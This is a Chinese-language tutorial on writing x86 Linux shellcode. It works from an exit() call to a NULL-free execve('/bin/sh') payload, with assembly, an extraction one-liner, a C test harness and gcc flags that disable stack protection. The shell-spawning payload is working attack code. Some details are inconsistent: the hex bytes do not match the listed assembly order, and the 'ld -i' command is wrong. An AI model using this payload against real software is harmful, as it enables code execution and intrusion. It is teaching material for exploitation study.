Linux下shellcode的编写
字数 1224 2025-08-25 22:59:03
Linux下Shellcode编写详解
1. Shellcode基础概念
Shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于Shellcode需要直接操作寄存器和函数,所以必须以十六进制的形式存在。
为什么要编写Shellcode
- 使目标程序以非预期方式运行
- 通过系统调用直接访问系统内核
- 绕过常规程序执行流程
2. Linux系统调用方法
在Linux中有两种执行系统调用的方法:
- 间接方法:通过C函数包装(libc)
- 直接方法:使用汇编指令(通过将参数加载到寄存器,然后调用
int 0x80软中断)
3. 最简单的exit()系统调用示例
C语言示例
main() {
exit(0);
}
编译命令(使用static选项防止动态链接):
gcc -static -o exit exit.c
反汇编分析
_exit+0行:将系统调用参数加载到ebx_exit+4和_exit+15行:将系统调用编号复制到eaxint 0x80指令:将CPU切换到内核模式并执行系统调用
4. 编写exit()的Shellcode
初始汇编代码
Section .text
global _start
_start:
mov ebx, 0
mov ax, 1
int 0x80
编译和链接:
nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o
问题:NULL字节问题
初始Shellcode中包含NULL(\x00)字符,这在缓冲区溢出攻击中会导致问题,因为字符数组通常用NULL作为终止符。
优化方法
-
使用
xor指令代替mov清零:xor ebx, ebx ; 代替 mov ebx, 0 -
使用al寄存器避免自动填充NULL:
mov al, 1 ; 代替 mov eax, 1
优化后的Shellcode
Section .text
global _start
_start:
xor ebx, ebx
mov al, 1
int 0x80
测试代码
char shellcode[] = "\x31\xdb"
"\xb0\x01"
"\xcd\x80";
int main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
5. 编写execve()的Shellcode
execve系统调用基础
- 系统调用号:11
- 功能:在当前进程空间执行其他程序
- 参数:
- filename:指向要执行的二进制文件路径的字符串(如"/bin/sh")
- argv[]:参数列表(对于"/bin/sh",可以是['/bin/sh', 0])
- envp[]:环境变量列表(可设为NULL)
编写步骤
-
将
/bin/sh字符串压入栈(注意反向顺序和4字节对齐)- 使用
//bin/sh(8字节)代替/bin/sh(7字节) - Python生成十六进制:
hs/nib//
- 使用
-
构建完整的Shellcode
完整汇编代码
Section .text
global _start
_start:
; 将0压入栈(字符串终止符)
xor eax, eax
push eax
; 将//bin/sh压入栈(反向顺序)
push 0x68732f6e ; hs/n
push 0x69622f2f ; ib//
; 设置ebx指向/bin/sh字符串
mov ebx, esp
; 设置ecx指向参数数组[ebx, 0]
push eax ; NULL
push ebx ; 指向/bin/sh
mov ecx, esp
; 设置edx为NULL(环境变量)
mov edx, eax
; 设置系统调用号
mov al, 0xb
; 执行系统调用
int 0x80
Shellcode提取
使用以下命令提取Shellcode:
objdump -d ./execve-stack | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
测试代码
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
编译命令(关闭保护机制):
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
6. 关键注意事项
- NULL字节消除:确保Shellcode中不包含
\x00字节 - 寄存器使用:合理使用寄存器,避免不必要的操作
- 字符串对齐:确保字符串按4字节对齐
- 参数构建:正确构建系统调用所需的参数结构
- 保护机制绕过:测试时需要关闭栈保护等安全机制
7. 参考链接
- 原文链接:Linux下shellcode的编写 - 先知社区
- 系统调用参考:
/usr/include/asm/unistd.h - execve手册页:
man 2 execve
通过以上步骤,您可以编写出功能完整的Shellcode,从简单的exit()调用到复杂的execve()调用,实现系统控制等功能。